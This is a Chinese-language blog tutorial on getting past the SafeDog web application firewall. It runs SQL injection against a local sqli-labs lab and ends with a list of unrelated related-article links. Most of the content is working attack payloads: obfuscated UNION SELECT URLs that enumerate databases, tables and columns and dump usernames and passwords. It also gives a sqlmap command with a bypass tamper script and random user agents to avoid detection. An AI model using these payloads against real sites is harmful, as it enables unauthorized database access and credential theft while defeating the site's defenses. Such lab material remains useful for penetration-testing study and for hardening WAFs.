• WAF Bypass 介绍与实战


    前言

    WAF是英文"Web Application Firewall"的缩写,中文意思是"Web应用防火墙",也称为"网站应用级入侵防御系统"。WAF是集WEB防护、网页保护、负载均衡、应用交付于一体的WEB整体安全防护设备
    WAF从形态上可分为硬件WAF、WAF防护软件和云WAF
    以下仅介绍软件WAF及其简单绕过:安全狗

    安全狗环境安装

    就以安全狗为例进行安装并测试

    以管理员身份打开cmd
    cd C:\phpstudy\PHPTutorial\Apache\bin  //进入phpstudy的apache目录的bin目录
    
    httpd.exe -k install -n apahce2.4
    
    cd C:\phpstudy\PHPTutorial\MySQL\bin  //进入phpstudy的mysql目录的bin目录
    
    mysqld --install mysql
    
    

    一、Burp配合进行ByPass

    使用burp抓包爆破关键字进行绕过测试

    由于union与select联合用时会出现waf拦截,有时候单个出现union或者select都会出现拦截
    我们将union和select之间的空格进行替换字符绕过waf,对标记的字符进行替换爆破,查看到正常显示字符的长度则绕过成功

    以下绕过均采用burp配合手工进行猜解爆破

    SQL注入的Waf ByPass

    以下以sqli-labs为例进行绕过测试

    判断字段数
    http://192.168.31.198/sqli-labs/Less-1/?id=1%27%20order/*%2f%2f!*/by%204%23
    
    

    联合查询显示位
    http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,3%23
    

    查数据库
    http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,database/*%2f%2f!*/(/*%2f%2f!*/),3%23
    

    查表
    http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,group_concat(table_name)from/*!--+/*%0A(information_schema.tables)*//*%2f%2f!*/where/*%2f%2f!*/table_schema=%22security%22%23
    

    查字段
    http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,2,group_concat(column_name)from/*!--+/*%0A(information_schema.columns)*//*%2f%2f!*/where/*%2f%2f!*/table_schema=%22security%22%20and/*%2f-*!%2f*/table_name=%22users%22%23
    
    

    查数据
    http://192.168.31.198/sqli-labs/Less-1/?id=-1%27%20/*!10496union*//*%2f-*!%2f*/select/*%2f%2f!*/1,group_concat(username),group_concat(password)from%20users%23
    

    二、自动化脚本测试绕过

    将绕过脚本添加进sqlmap自带脚本tamper库里,并使用sqlmap自动化扫描测试

    sqlmap -u "http://192.168.31.198/sqli-labs/Less-1/?id=1" --tamper=anquangou --random-agent
    
    注:--tamper=anquangou 使用的是绕过安全狗的脚本
        --random-agent 开启随机ua头是因为安全狗会自动开启识别自动化探测器如sqlmap或者其他盲注自动化探测器等,然后将其拦截,开启随机ua头是为了绕过ua头为sqlmap不被拦截
    

    总结

    1.在正常绕过市面上的waf都是这些基础waf的变种,可以利用手工配合burp猜解waf绕过关键字
    2.可以利用服务器的特性如 :替换为%u0053特殊字符,替换传参方式紊乱系统传参等
    3.可以利用应用层方面的特性如:简单的大小写绕过,双写关键字,url多重编码,参数污染等
    4.可以利用WAF层特性如:在开发云WAF、软件WAF、硬件WAF中出现逻辑问题(对00截断无法获取识别%00后面的字符从而绕过)、性能问题(频繁使用burp爆破、条件竞争会出现waf性能下降无法识别拦截)
    5.可以利用数据库特性如:数据库语句可以将空格替换成换行符,或者其他可绕过字符,像SQL语句的五大位置可绕过区域
    6.可以利用已写好的自动化测试脚本,采用sqlmap自动化扫描测试

  • 相关阅读:
    JDK1.7下测试ConnectorJ连接MySQL8.0
    持续集成部署-k8s-服务发现-Ingress
    C++ vector使用介绍以及模拟实现
    Explore EPF021D ADC微控制器
    前端中断取消网络请求
    UI自动化测试工具详解
    硬件性能评估指标-DMIPS、MFLOPS、MAC、TOPS
    4. git 添加版本标签
    Linux 监控网络流量
    基于HTML+CSS+JavaScript仿瓜子二手车官网【学生网页设计作业源码】
  • 原文地址:https://www.cnblogs.com/BlogVice-2203/p/17117718.html